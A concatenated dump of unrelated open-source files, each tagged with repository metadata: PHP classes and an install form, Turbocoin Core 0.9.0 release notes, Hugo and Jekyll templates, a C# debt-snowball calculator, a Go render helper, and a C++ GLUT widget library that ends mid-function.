$this->yellow = (float) $yellow;
$this->black = (float) $black;
}
/**
* @param float $black
*/
public function setBlack($black)
{
$this->black = (float) $black;
}
/**
* @return float
*/
public function getBlack()
{
return $this->black;
}
/**
* @param float $cyan
*/
public function setCyan($cyan)
{
$this->cyan = (float) $cyan;
}
/**
* @return float
*/
public function getCyan()
{
return $this->cyan;
}
/**
* @param float $magenta
*/
public function setMagenta($magenta)
{
$this->magenta = (float) $magenta;
}
/**
* @return float
*/
public function getMagenta()
{
return $this->magenta;
}
/**
* @param float $yellow
*/
public function setYellow($yellow)
{
$this->yellow = (float) $yellow;
}
/**
* @return float
*/
public function getYellow()
{
return $this->yellow;
}
}
| richardfullmer/RDFJobDefinitionFormatBundle | Type/CMYKColor.php | PHP | mit | 1,730 |
<html>
<head>
<title> Install SEO Commerce</title>
<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
<style>
#container {
margin:auto;
}
label, input {
display: block;
}
</style>
</head>
<body>
<div class="container">
<form action="pasang_p.php" method="POST">
<label> Nama Situs </label>
<input type="text" name="s_name">
<label> Author (Nama Pemilik) </label>
<input type="text" name="s_author">
<label> Username </label>
<input type="text" name="a_username">
<label> Password </label>
<input type="password" name="a_password">
<input type="submit" value="kirim">
</form>
</div>
</body>
<html> | idmahardika/SEO_commerce | pasang.php | PHP | mit | 634 |
Turbocoin Core version 0.9.0 is now available from:
https://turbocoin.us/bin/0.9.0/
This is a new major version release, bringing both new features and
bug fixes.
Please report bugs using the issue tracker at github:
https://github.com/turbocoin/turbocoin/issues
How to Upgrade
--------------
If you are running an older version, shut it down. Wait until it has completely
shut down (which might take a few minutes for older versions), uninstall all
earlier versions of Turbocoin, then run the installer (on Windows) or just copy
over /Applications/Turbocoin-Qt (on Mac) or turbocoind/turbocoin-qt (on Linux).
If you are upgrading from version 0.7.2 or earlier, the first time you run
0.9.0 your blockchain files will be re-indexed, which will take anywhere from
30 minutes to several hours, depending on the speed of your machine.
On Windows, do not forget to uninstall all earlier versions of the Turbocoin
client first, especially if you are switching to the 64-bit version.
Windows 64-bit installer
-------------------------
New in 0.9.0 is the Windows 64-bit version of the client. There have been
frequent reports of users running out of virtual memory on 32-bit systems
during the initial sync. Because of this it is recommended to install the
64-bit version if your system supports it.
NOTE: Release candidate 2 Windows binaries are not code-signed; use PGP
and the SHA256SUMS.asc file to make sure your binaries are correct.
In the final 0.9.0 release, Windows setup.exe binaries will be code-signed.
OSX 10.5 / 32-bit no longer supported
-------------------------------------
0.9.0 drops support for older Macs. The minimum requirements are now:
* A 64-bit-capable CPU (see http://support.apple.com/kb/ht3696);
* Mac OS 10.6 or later (see https://support.apple.com/kb/ht1633).
Downgrading warnings
--------------------
The 'chainstate' for this release is not always compatible with previous
releases, so if you run 0.9 and then decide to switch back to a
0.8.x release you might get a blockchain validation error when starting the
old release (due to 'pruned outputs' being omitted from the index of
unspent transaction outputs).
Running the old release with the -reindex option will rebuild the chainstate
data structures and correct the problem.
Also, the first time you run a 0.8.x release on a 0.9 wallet it will rescan
the blockchain for missing spent coins, which will take a long time (tens
of minutes on a typical machine).
Rebranding to Turbocoin Core
---------------------------
To reduce confusion between Turbocoin-the-network and Turbocoin-the-software we
have renamed the reference client to Turbocoin Core.
OP_RETURN and data in the block chain
-------------------------------------
On OP_RETURN: There was been some confusion and misunderstanding in
the community, regarding the OP_RETURN feature in 0.9 and data in the
blockchain. This change is not an endorsement of storing data in the
blockchain. The OP_RETURN change creates a provably-prunable output,
to avoid data storage schemes -- some of which were already deployed --
that were storing arbitrary data such as images as forever-unspendable
TX outputs, bloating turbocoin's UTXO database.
Storing arbitrary data in the blockchain is still a bad idea; it is less
costly and far more efficient to store non-currency data elsewhere.
Autotools build system
-----------------------
For 0.9.0 we switched to an autotools-based build system instead of individual
(q)makefiles.
Using the standard "./autogen.sh; ./configure; make" to build Turbocoin-Qt and
turbocoind makes it easier for experienced open source developers to contribute
to the project.
Be sure to check doc/build-*.md for your platform before building from source.
Turbocoin-cli
-------------
Another change in the 0.9 release is moving away from the turbocoind executable
functioning both as a server and as a RPC client. The RPC client functionality
("tell the running turbocoin daemon to do THIS") was split into a separate
executable, 'turbocoin-cli'. The RPC client code will eventually be removed from
turbocoind, but will be kept for backwards compatibility for a release or two.
`walletpassphrase` RPC
-----------------------
The behavior of the `walletpassphrase` RPC when the wallet is already unlocked
has changed between 0.8 and 0.9.
The 0.8 behavior of `walletpassphrase` is to fail when the wallet is already unlocked:
> walletpassphrase 1000
walletunlocktime = now + 1000
> walletpassphrase 10
Error: Wallet is already unlocked (old unlock time stays)
The new behavior of `walletpassphrase` is to set a new unlock time overriding
the old one:
> walletpassphrase 1000
walletunlocktime = now + 1000
> walletpassphrase 10
walletunlocktime = now + 10 (overriding the old unlock time)
Transaction malleability-related fixes
--------------------------------------
This release contains a few fixes for transaction ID (TXID) malleability
issues:
- -nospendzeroconfchange command-line option, to avoid spending
zero-confirmation change
- IsStandard() transaction rules tightened to prevent relaying and mining of
mutated transactions
- Additional information in listtransactions/gettransaction output to
report wallet transactions that conflict with each other because
they spend the same outputs.
- Bug fixes to the getbalance/listaccounts RPC commands, which would report
incorrect balances for double-spent (or mutated) transactions.
- New option: -zapwallettxes to rebuild the wallet's transaction information
Transaction Fees
----------------
This release drops the default fee required to relay transactions across the
network and for miners to consider the transaction in their blocks to
0.01mTURBO per kilobyte.
Note that getting a transaction relayed across the network does NOT guarantee
that the transaction will be accepted by a miner; by default, miners fill
their blocks with 50 kilobytes of high-priority transactions, and then with
700 kilobytes of the highest-fee-per-kilobyte transactions.
The minimum relay/mining fee-per-kilobyte may be changed with the
minrelaytxfee option. Note that previous releases incorrectly used
the mintxfee setting to determine which low-priority transactions should
be considered for inclusion in blocks.
The wallet code still uses a default fee for low-priority transactions of
0.1mTURBO per kilobyte. During periods of heavy transaction volume, even this
fee may not be enough to get transactions confirmed quickly; the mintxfee
option may be used to override the default.
0.9.0 Release notes
=======================
RPC:
- New notion of 'conflicted' transactions, reported as confirmations: -1
- 'listreceivedbyaddress' now provides tx ids
- Add raw transaction hex to 'gettransaction' output
- Updated help and tests for 'getreceivedby(account|address)'
- In 'getblock', accept 2nd 'verbose' parameter, similar to getrawtransaction,
but defaulting to 1 for backward compatibility
- Add 'verifychain', to verify chain database at runtime
- Add 'dumpwallet' and 'importwallet' RPCs
- 'keypoolrefill' gains optional size parameter
- Add 'getbestblockhash', to return tip of best chain
- Add 'chainwork' (the total work done by all blocks since the genesis block)
to 'getblock' output
- Make RPC password resistant to timing attacks
- Clarify help messages and add examples
- Add 'getrawchangeaddress' call for raw transaction change destinations
- Reject insanely high fees by default in 'sendrawtransaction'
- Add RPC call 'decodescript' to decode a hex-encoded transaction script
- Make 'validateaddress' provide redeemScript
- Add 'getnetworkhashps' to get the calculated network hashrate
- New RPC 'ping' command to request ping, new 'pingtime' and 'pingwait' fields
in 'getpeerinfo' output
- Adding new 'addrlocal' field to 'getpeerinfo' output
- Add verbose boolean to 'getrawmempool'
- Add rpc command 'getunconfirmedbalance' to obtain total unconfirmed balance
- Explicitly ensure that wallet is unlocked in `importprivkey`
- Add check for valid keys in `importprivkey`
Command-line options:
- New option: -nospendzeroconfchange to never spend unconfirmed change outputs
- New option: -zapwallettxes to rebuild the wallet's transaction information
- Rename option '-tor' to '-onion' to better reflect what it does
- Add '-disablewallet' mode to let turbocoind run entirely without wallet (when
built with wallet)
- Update default '-rpcsslciphers' to include TLSv1.2
- make '-logtimestamps' default on and rework help-message
- RPC client option: '-rpcwait', to wait for server start
- Remove '-logtodebugger'
- Allow `-noserver` with turbocoind
Block-chain handling and storage:
- Update leveldb to 1.15
- Check for correct genesis (prevent cases where a datadir from the wrong
network is accidentally loaded)
- Allow txindex to be removed and add a reindex dialog
- Log aborted block database rebuilds
- Store orphan blocks in serialized form, to save memory
- Limit the number of orphan blocks in memory to 750
- Fix non-standard disconnected transactions causing mempool orphans
- Add a new checkpoint at block 279,000
Wallet:
- Bug fixes and new regression tests to correctly compute
the balance of wallets containing double-spent (or mutated) transactions
- Store key creation time. Calculate whole-wallet birthday.
- Optimize rescan to skip blocks prior to birthday
- Let user select wallet file with -wallet=foo.dat
- Consider generated coins mature at 101 instead of 120 blocks
- Improve wallet load time
- Don't count txins for priority to encourage sweeping
- Don't create empty transactions when reading a corrupted wallet
- Fix rescan to start from beginning after importprivkey
- Only create signatures with low S values
Mining:
- Increase default -blockmaxsize/prioritysize to 750K/50K
- 'getblocktemplate' does not require a key to create a block template
- Mining code fee policy now matches relay fee policy
Protocol and network:
- Drop the fee required to relay a transaction to 0.01mTURBO per kilobyte
- Send tx relay flag with version
- New 'reject' P2P message (BIP 0061, see
https://gist.github.com/gavinandresen/7079034 for draft)
- Dump addresses every 15 minutes instead of 10 seconds
- Relay OP_RETURN data TxOut as standard transaction type
- Remove CENT-output free transaction rule when relaying
- Lower maximum size for free transaction creation
- Send multiple inv messages if mempool.size > MAX_INV_SZ
- Split MIN_PROTO_VERSION into INIT_PROTO_VERSION and MIN_PEER_PROTO_VERSION
- Do not treat fFromMe transaction differently when broadcasting
- Process received messages one at a time without sleeping between messages
- Improve logging of failed connections
- Bump protocol version to 70002
- Add some additional logging to give extra network insight
- Added new DNS seed from turbocoinstats.com
Validation:
- Log reason for non-standard transaction rejection
- Prune provably-unspendable outputs, and adapt consistency check for it.
- Detect any sufficiently long fork and add a warning
- Call the -alertnotify script when we see a long or invalid fork
- Fix multi-block reorg transaction resurrection
- Reject non-canonically-encoded serialization sizes
- Reject dust amounts during validation
- Accept nLockTime transactions that finalize in the next block
Build system:
- Switch to autotools-based build system
- Build without wallet by passing `--disable-wallet` to configure, this
removes the BerkeleyDB dependency
- Upgrade gitian dependencies (libpng, libz, libupnpc, boost, openssl) to more
recent versions
- Windows 64-bit build support
- Solaris compatibility fixes
- Check integrity of gitian input source tarballs
- Enable full GCC Stack-smashing protection for all OSes
GUI:
- Switch to Qt 5.2.0 for Windows build
- Add payment request (BIP 0070) support
- Improve options dialog
- Show transaction fee in new send confirmation dialog
- Add total balance in overview page
- Allow user to choose data directory on first start, when data directory is
missing, or when the -choosedatadir option is passed
- Save and restore window positions
- Add vout index to transaction id in transactions details dialog
- Add network traffic graph in debug window
- Add open URI dialog
- Add Coin Control Features
- Improve receive coins workflow: make the 'Receive' tab into a form to request
payments, and move historical address list functionality to File menu.
- Rebrand to `Turbocoin Core`
- Move initialization/shutdown to a thread. This prevents "Not responding"
messages during startup. Also show a window during shutdown.
- Don't regenerate autostart link on every client startup
- Show and store message of normal turbocoin:URI
- Fix richtext detection hang issue on very old Qt versions
- OS X: Make use of the 10.8+ user notification center to display Growl-like
notifications
- OS X: Added NSHighResolutionCapable flag to Info.plist for better font
rendering on Retina displays.
- OS X: Fix turbocoin-qt startup crash when clicking dock icon
- Linux: Fix Gnome turbocoin: URI handler
Miscellaneous:
- Add Linux script (contrib/qos/tc.sh) to limit outgoing bandwidth
- Add '-regtest' mode, similar to testnet but private with instant block
generation with 'setgenerate' RPC.
- Add 'linearize.py' script to contrib, for creating bootstrap.dat
- Add separate turbocoin-cli client
Credits
--------
Thanks to everyone who contributed to this release:
- Andrey
- Ashley Holman
- b6393ce9-d324-4fe1-996b-acf82dbc3d53
- bitsofproof
- Brandon Dahler
- Calvin Tam
- Christian Decker
- Christian von Roques
- Christopher Latham
- Chuck
- coblee
- constantined
- Cory Fields
- Cozz Lovan
- daniel
- Daniel Larimer
- David Hill
- Dmitry Smirnov
- Drak
- Eric Lombrozo
- fanquake
- fcicq
- Florin
- frewil
- Gavin Andresen
- Gregory Maxwell
- gubatron
- Guillermo Céspedes Tabárez
- Haakon Nilsen
- HaltingState
- Han Lin Yap
- harry
- Ian Kelling
- Jeff Garzik
- Johnathan Corgan
- Jonas Schnelli
- Josh Lehan
- Josh Triplett
- Julian Langschaedel
- Kangmo
- Lake Denman
- Luke Dashjr
- Mark Friedenbach
- Matt Corallo
- Michael Bauer
- Michael Ford
- Michagogo
- Midnight Magic
- Mike Hearn
- Nils Schneider
- Noel Tiernan
- Olivier Langlois
- patrick s
- Patrick Strateman
- paveljanik
- Peter Todd
- phantomcircuit
- phelixbtc
- Philip Kaufmann
- Pieter Wuille
- Rav3nPL
- R E Broadley
- regergregregerrge
- Robert Backhaus
- Roman Mindalev
- Rune K. Svendsen
- Ryan Niebur
- Scott Ellis
- Scott Willeke
- Sergey Kazenyuk
- Shawn Wilkinson
- Sined
- sje
- Subo1978
- super3
- Tamas Blummer
- theuni
- Thomas Holenstein
- Timon Rapp
- Timothy Stranex
- Tom Geller
- Torstein Husebø
- Vaclav Vobornik
- vhf / victor felder
- Vinnie Falco
- Warren Togami
- Wil Bown
- Wladimir J. van der Laan
| Phonemetra/TurboCoin | doc/release-notes/release-notes-0.9.0.md | Markdown | mit | 14,787 |
{{ define "main" }}
<!-- Header -->
{{ partial "header" . }}
<div class="container">
<section id="projects">
<h4 class="my-5">{{ .Site.Data.projects.name }}</h4>
<div class="panel">
<div class="panel-body">
{{ range $el := .Site.Data.projects.source }}
<h5>
<i class="{{ .icon }}"></i>
<b><a href="{{ .url }}">{{ $el.name }}</a></b> - {{ $el.description }}
</h5>
{{ end }}
</div>
</div>
</section>
</div>
{{ end }}
| nurlansu/hugo-sustain | layouts/_default/projects.html | HTML | mit | 560 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace DebtSnowBall2017
{
class LoanList
{
private List<Loan> loanList;
public LoanList()
{
this.loanList = new List<Loan>();
}
public void addLoan(Loan newLoan)
{
this.loanList.Add(newLoan);
this.loanList.Sort(delegate(Loan L1, Loan L2){ return L1.getTotalOwed().CompareTo(L2.getTotalOwed()); });
}
public void printToScreen(TableLayoutPanel panel)
{
panel.Controls.Clear();
foreach(Loan loan in loanList)
{
Label principle = new Label();
principle.Text = Convert.ToString(loan.getPrinciple());
panel.Controls.Add(principle);
Label interest = new Label();
interest.Text = Convert.ToString(loan.getInterest() * 100) + "%";
panel.Controls.Add(interest);
Label monthsToPay = new Label();
if (loan.getMonthsToPay() <= 0)
{
monthsToPay.Text = "Not Yet Calculated";
}
else
{
monthsToPay.Text = Convert.ToString(loan.getMonthsToPay());
}
panel.Controls.Add(monthsToPay);
Label totalPaid = new Label();
if (loan.getTotalPaid() < 0)
{
totalPaid.Text = "Not Yet Calculated";
}
else
{
totalPaid.Text = Convert.ToString(loan.getTotalPaid());
}
panel.Controls.Add(totalPaid);
}
}
public bool allPaid()
{
foreach(Loan loan in loanList)
{
if (!loan.isFullyPaid())
{
return false;
}
}
return true;
}
public void calculate(double salary)
{
while (!allPaid())
{
double thisMonthsSalary = salary;
foreach (Loan nextLoan in this.loanList)
{
thisMonthsSalary = nextLoan.payMonthlyBill(thisMonthsSalary);
}
foreach (Loan nextLoan in this.loanList)
{
if (!nextLoan.isFullyPaid())
{
nextLoan.payExtra(thisMonthsSalary);
break;
}
}
}
}
}
}
| passanpm/DebtSnowBall | DebtSnowBall2017/DebtSnowBall2017/LoanList.cs | C# | mit | 2,759 |
---
layout: default
title: Отправить совет!
---
<div class="grid_8 alpha omega white">
<h2>Отправить совет!</h2>
<iframe src="http://spreadsheets.google.com/embeddedform?key=pNxLaOX4yIJnLpmHYEDxXXQ" width="590" height="616" frameborder="0" marginheight="0" marginwidth="0">Загрузка...</iframe>
</div>
| gitready/ru | submit.html | HTML | mit | 341 |
package render
import (
"github.com/gin-gonic/gin"
)
/* ================================================================================
* Render 工具模块
* qq group: 582452342
* email : [email protected]
* author : 美丽的地球啊 - mliu
* ================================================================================ */
/* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* 输出错误消息
* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */
func Error(c *gin.Context, msg string) {
String(c, msg, 400)
}
| sanxia/ging | render/error.go | GO | mit | 601 |
/*
* _____ _ _ _ _____ _ _ _ _____ _ __ _____ _____
* / ___| | | | | | | |_ _| | | / / | | | ____| | | / / | ____| | _ \
* | | | | | | | | | | | | / / | | | |__ | | __ / / | |__ | |_| |
* | | _ | | | | | | | | | | / / | | | __| | | / | / / | __| | _ /
* | |_| | | |___ | |_| | | | | |/ / | | | |___ | |/ |/ / | |___ | | \ \
* \_____/ |_____| \_____/ |_| |___/ |_| |_____| |___/|___/ |_____| |_| \_\
*
* Version 0.9
* Bruno Levy, August 2006
* INRIA, Project ALICE
*
*/
#include "glut_viewer_gui.h"
#include <GLsdk/gl_stuff.h>
#include <GL/glut.h>
#include <iostream>
#include <stdarg.h>
#include <math.h>
#include <stdio.h>
namespace GlutViewerGUI {
// ------------------- Primitives for internal use --------------------------------------
static void printf_xy(GLfloat x, GLfloat y, const char *format, ...) {
va_list args;
char buffer[1024], *p;
va_start(args, format);
vsprintf(buffer, format, args);
va_end(args);
glPushMatrix();
glTranslatef(x, y, 0);
for (p = buffer; *p; p++) {
glutStrokeCharacter(GLUT_STROKE_MONO_ROMAN, *p);
}
glPopMatrix();
}
static void circle_arc_vertices(
GLfloat x, GLfloat y, GLfloat r1, GLfloat r2, GLfloat theta1, GLfloat theta2
) {
const GLfloat delta_theta = 1.0f ;
if(theta2 > theta1) {
for(GLfloat theta = theta1; theta <= theta2; theta += delta_theta) {
GLfloat theta_rad = theta * 3.14159f / 200.0f ;
glVertex2f(x + r1 * cos(theta_rad), y + r2 * sin(theta_rad)) ;
}
} else {
for(GLfloat theta = theta1; theta >= theta2; theta -= delta_theta) {
GLfloat theta_rad = theta * 3.14159f / 200.0f ;
glVertex2f(x + r1 * cos(theta_rad), y + r2 * sin(theta_rad)) ;
}
}
}
static void circle_arc_vertices(
GLfloat x, GLfloat y, GLfloat r, GLfloat theta1, GLfloat theta2
) {
circle_arc_vertices(x,y,r,r,theta1,theta2) ;
}
static void circle(GLfloat x, GLfloat y, GLfloat r) {
glBegin(GL_LINE_LOOP) ;
circle_arc_vertices(x,y,r,0.0f,400.0f) ;
glEnd() ;
}
static void fill_circle(GLfloat x, GLfloat y, GLfloat r) {
glBegin(GL_POLYGON) ;
circle_arc_vertices(x,y,r,0.0f,400.0f) ;
glEnd() ;
}
static void round_rectangle_vertices(
GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2, GLfloat r
) {
glVertex2f(x1+r,y2) ;
glVertex2f(x2-r,y2) ;
circle_arc_vertices(x2-r, y2-r, r, 100.0f, 0.0f) ;
glVertex2f(x2,y2-r) ;
glVertex2f(x2,y1+r) ;
circle_arc_vertices(x2-r, y1+r, r, 0.0f, -100.0f) ;
glVertex2f(x2-r,y1) ;
glVertex2f(x1+r,y1) ;
circle_arc_vertices(x1+r, y1+r, r, -100.0f, -200.0f) ;
glVertex2f(x1,y1+r) ;
glVertex2f(x1,y2-r) ;
circle_arc_vertices(x1+r, y2-r, r, -200.0f, -300.0f) ;
}
static void round_rectangle(GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2, GLfloat r) {
glBegin(GL_LINE_LOOP) ;
round_rectangle_vertices(x1, y1, x2, y2, r) ;
glEnd() ;
}
static void fill_round_rectangle(GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2, GLfloat r) {
glBegin(GL_POLYGON) ;
round_rectangle_vertices(x1, y1, x2, y2, r) ;
glEnd() ;
}
static void arrow_vertices(Direction dir, GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2) {
GLfloat x12 = 0.5 * (x1 + x2) ;
GLfloat y12 = 0.5 * (y1 + y2) ;
switch(dir) {
case DOWN:
glVertex2f(x1,y2) ;
glVertex2f(x2,y2) ;
glVertex2f(x12,y1) ;
break ;
case UP:
glVertex2f(x1,y1) ;
glVertex2f(x2,y1) ;
glVertex2f(x12,y2) ;
break ;
case LEFT:
glVertex2f(x2,y2) ;
glVertex2f(x2,y1) ;
glVertex2f(x1,y12) ;
break ;
case RIGHT:
glVertex2f(x1,y2) ;
glVertex2f(x1,y1) ;
glVertex2f(x2,y12) ;
break ;
}
}
static void arrow(Direction dir, GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2) {
glBegin(GL_LINE_LOOP) ;
arrow_vertices(dir, x1, y1, x2, y2) ;
glEnd() ;
}
static void fill_arrow(Direction dir, GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2) {
glBegin(GL_POLYGON) ;
arrow_vertices(dir, x1, y1, x2, y2) ;
glEnd() ;
}
// ------------------- Widget class --------------------------------------
Widget::Widget(
GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2
) : style_(BlueStyle), visible_(true), highlight_(false) {
set_geometry(x1, y1, x2, y2) ;
r_ = 100.0f ;
}
Widget::~Widget() {
}
void Widget::glColor(ColorRole role_in) {
ColorRole role = role_in ;
if(highlight_) {
switch(role_in) {
case Background:
role = Foreground ; break ;
case Middleground:
role = Middleground ; break ;
case Foreground:
role = Foreground ; break ;
}
}
switch(style_) {
case RedStyle: {
switch(role) {
case Background:
glColor4f(0.5f, 0.0f, 0.0f, 0.5f) ;
break ;
case Middleground:
glColor4f(1.0f, 0.5f, 0.5f, 1.0f) ;
break ;
case Foreground:
glColor4f(5.0f, 5.0f, 5.0f, 1.0f) ;
break ;
}
} break ;
case GreenStyle: {
switch(role) {
case Background:
glColor4f(0.0f, 0.5f, 0.0f, 0.5f) ;
break ;
case Middleground:
glColor4f(0.5f, 1.0f, 0.5f, 1.0f) ;
break ;
case Foreground:
glColor4f(5.0f, 5.0f, 5.0f, 1.0f) ;
break ;
}
} break ;
case BlueStyle: {
switch(role) {
case Background:
glColor4f(0.0f, 0.0f, 0.5f, 0.5f) ;
break ;
case Middleground:
glColor4f(0.5f, 0.5f, 1.0f, 1.0f) ;
break ;
case Foreground:
glColor4f(5.0f, 5.0f, 5.0f, 1.0f) ;
break ;
}
} break ;
case BWStyle: {
switch(role) {
case Background:
glColor4f(5.0f, 5.0f, 5.0f, 0.5f) ;
break ;
case Middleground:
glColor4f(0.2f, 0.2f, 0.2f, 1.0f) ;
break ;
case Foreground:
glColor4f(0.0f, 0.0f, 0.0f, 1.0f) ;
break ;
}
} break ;
}
}
GLboolean Widget::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
return contains(int(x),int(y)) ;
}
void Widget::draw() {
if(!visible()) { return ; }
draw_background() ;
draw_border() ;
}
void Widget::draw_background() {
glEnable(GL_BLEND) ;
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) ;
glColor(Background) ;
fill_round_rectangle(x1_, y1_, x2_, y2_, r_) ;
glDisable(GL_BLEND) ;
}
void Widget::draw_border() {
glColor(Foreground) ;
glLineWidth(2.0) ;
round_rectangle(x1_, y1_, x2_, y2_, r_) ;
}
//______________________________________________________________________________________________________
Container* Container::main_widget_ = NULL ;
Container::~Container() {
if(main_widget_ == this) {
main_widget_ = NULL ;
}
for(size_t i=0; i<children_.size(); i++) {
delete children_[i] ;
}
}
void Container::draw() {
if(!visible()) {
return ;
}
for(size_t i=0; i<children_.size(); i++) {
children_[i]->draw() ;
}
}
GLboolean Container::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
if(!visible()) { return GL_FALSE ; }
switch(event) {
case GLUT_VIEWER_DOWN: {
for(size_t i=0; i<children_.size(); i++) {
if(children_[i]->contains(x,y) && children_[i]->process_mouse_event(x, y, button, event)) {
active_child_ = children_[i] ;
return GL_TRUE ;
}
}
} break ;
case GLUT_VIEWER_MOVE: {
if(active_child_ != NULL) {
return active_child_->process_mouse_event(x, y, button, event) ;
}
} break ;
case GLUT_VIEWER_UP: {
if(active_child_ != NULL) {
Widget* w = active_child_ ;
active_child_ = NULL ;
return w->process_mouse_event(x, y, button, event) ;
}
} break ;
}
return GL_FALSE ;
}
void Container::draw_handler() {
if(main_widget_ != NULL) {
main_widget_->draw() ;
}
}
GLboolean Container::mouse_handler(float x, float y, int button, enum GlutViewerEvent event) {
if(main_widget_ != NULL) {
return main_widget_->process_mouse_event(x, y, button, event) ;
}
return GL_FALSE ;
}
void Container::set_as_main_widget() {
main_widget_ = this ;
glut_viewer_set_overlay_func(draw_handler) ;
glut_viewer_set_mouse_func(mouse_handler) ;
}
//______________________________________________________________________________________________________
void Panel::draw() {
Widget::draw() ;
Container::draw() ;
}
GLboolean Panel::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
if(!visible() || !contains(x,y)) {
return GL_FALSE ;
}
return Container::process_mouse_event(x,y,button,event) ;
}
//______________________________________________________________________________________________________
void Button::draw() {
Widget::draw() ;
}
GLboolean Button::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
if(visible() && contains(x,y) && event == GLUT_VIEWER_DOWN) {
pressed() ;
highlight_ = GL_TRUE ;
return GL_TRUE ;
}
if(visible() && contains(x,y) && event == GLUT_VIEWER_UP) {
highlight_ = GL_FALSE ;
return GL_TRUE ;
}
return GL_FALSE ;
}
void Button::pressed() {
if(callback_ != NULL) {
callback_(client_data_) ;
}
}
//______________________________________________________________________________________________________
void Checkbox::draw() {
if(!visible()) { return ; }
Button::draw() ;
glColor(Foreground) ;
GLfloat x = 0.5f * (x1_ + x2_) ;
GLfloat y = 0.5f * (y1_ + y2_) ;
if(toggle_) {
glColor(Middleground) ;
fill_circle(x,y,d_) ;
glColor(Foreground) ;
glLineWidth(1.0f) ;
circle(x,y,d_) ;
}
}
void Checkbox::pressed() {
toggle_ = !toggle_ ;
}
//______________________________________________________________________________________________________
ArrowButton::ArrowButton(
Direction dir, GLfloat x1, GLfloat y1, GLfloat x2, GLfloat y2
) : Button(x1, y1, x2, y2), direction_(dir) {
d_ /= 1.5 ;
r_ /= 2.0 ;
}
void ArrowButton::draw() {
Button::draw() ;
glColor(Middleground) ;
fill_arrow(direction_, x1_ + d_, y1_ + d_, x2_ - d_, y2_ - d_) ;
glColor(Foreground);
arrow(direction_, x1_ + d_, y1_ + d_, x2_ - d_, y2_ - d_) ;
}
//______________________________________________________________________________________________________
void Slider::set_value(GLfloat x, bool update) {
if(integer_) { x = GLfloat(GLint(x)) ; }
if(x < min_) { x = min_ ; }
if(x > max_) { x = max_ ; }
value_ = x ;
if(update && callback_ != NULL) { callback_(value_) ; }
}
void Slider::set_range(GLfloat x1, GLfloat x2) {
min_ = x1 ;
max_ = x2 ;
if(value_ < min_) { set_value(min_) ; }
if(value_ > max_) { set_value(max_) ; }
}
void Slider::draw() {
if(!visible()) { return ; }
Widget::draw() ;
glColor(Middleground) ;
glLineWidth(2.0f) ;
glBegin(GL_LINES) ;
glVertex2f(x1_+d_, 0.5f*(y1_+y2_)) ;
glVertex2f(x2_-d_, 0.5f*(y1_+y2_)) ;
glEnd() ;
GLfloat w = (value_ - min_) / (max_ - min_) ;
GLfloat x = w*(x2_ - d_) + (1.0f - w)*(x1_ + d_) ;
GLfloat y = 0.5f*(y1_+y2_) ;
glColor(Middleground) ;
fill_circle(x,y,d_) ;
glColor(Foreground) ;
glLineWidth(1.0f) ;
circle(x,y,d_) ;
}
GLboolean Slider::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
if(!visible()) { return GL_FALSE ; }
if(event == GLUT_VIEWER_DOWN || event == GLUT_VIEWER_MOVE) {
GLfloat w = GLfloat(x - x1_ - d_) / GLfloat(x2_ - x1_ - 2.0f * d_) ;
set_value((1.0f - w) * min_ + w * max_, continuous_update_ == GL_TRUE) ;
return GL_TRUE ;
} else if(event == GLUT_VIEWER_UP) {
set_value(value_) ;
}
return GL_FALSE ;
}
//______________________________________________________________________________________________________
void CurveEditor::draw() {
if(!visible()) { return ; }
draw_background() ;
// Draw grid
glColor(Middleground) ;
glLineWidth(1.0) ;
glBegin(GL_LINES) ;
for(unsigned int i=1; i<10; i++) {
float x = x1_ + (x2_ - x1_) * float(i) / 10.0f ;
glVertex2f(x, y1_) ;
glVertex2f(x, y2_) ;
}
for(unsigned int i=1; i<4; i++) {
float y = y1_ + (y2_ - y1_) * float(i) / 4.0f ;
glVertex2f(x1_, y) ;
glVertex2f(x2_, y) ;
}
glEnd() ;
// Draw curve
glColor(Foreground) ;
glLineWidth(2.0) ;
glBegin(GL_LINE_STRIP) ;
for(unsigned int i=0; i<CurveSize; i++) {
glVertex2f(
x1_ + (float)i * (x2_ - x1_) / (float)(CurveSize - 1),
y1_ + curve_[i] * (y2_ - y1_)
) ;
}
glEnd() ;
draw_border() ;
}
GLboolean CurveEditor::process_mouse_event(float x, float y, int button, GlutViewerEvent event) {
if(!visible()) {
return GL_FALSE ;
}
if(event == GLUT_VIEWER_DOWN && !contains(x,y)) {
return GL_FALSE ;
}
int i = int((x - x1_) * (CurveSize - 1) / (x2_ - x1_)) ;
GLfloat v = GLfloat(y - y1_) / GLfloat(y2_ - y1_) ;
if(v < 0.0) { v = 0.0 ; }
if(v > 1.0) { v = 1.0 ; }
if(i < 0) { i = 0 ; }
if(i >= CurveSize) { i = CurveSize - 1 ; }
if(event == GLUT_VIEWER_DOWN) {
last_i_ = i ;
last_v_ = v ;
return GL_TRUE ;
}
if(event == GLUT_VIEWER_UP) {
if(callback_ != NULL) {
callback_(curve_, CurveSize) ;
}
return GL_TRUE ;
}
if(event == GLUT_VIEWER_MOVE) {
if(i > last_i_) {
set_curve(last_i_, last_v_, i, v) ;
} else {
set_curve(i, v, last_i_, last_v_) ;
}
}
last_i_ = i ;
last_v_ = v ;
return GL_TRUE ;
}
void CurveEditor::set_curve(int i1, float val1, int i2, float val2) {
if(i1 == i2) {
curve_[i1] = val1 ;
} else {
for(int i=i1; i<=i2; i++) {
curve_[i] = val1 + (float)(i - i1) * (val2 - val1) / (float)(i2 - i1) ;
}
}
}
void CurveEditor::set_curve(GLfloat* curve, bool update) {
for(unsigned int i=0; i<CurveSize; i++) {
curve_[i] = curve[i] ;
}
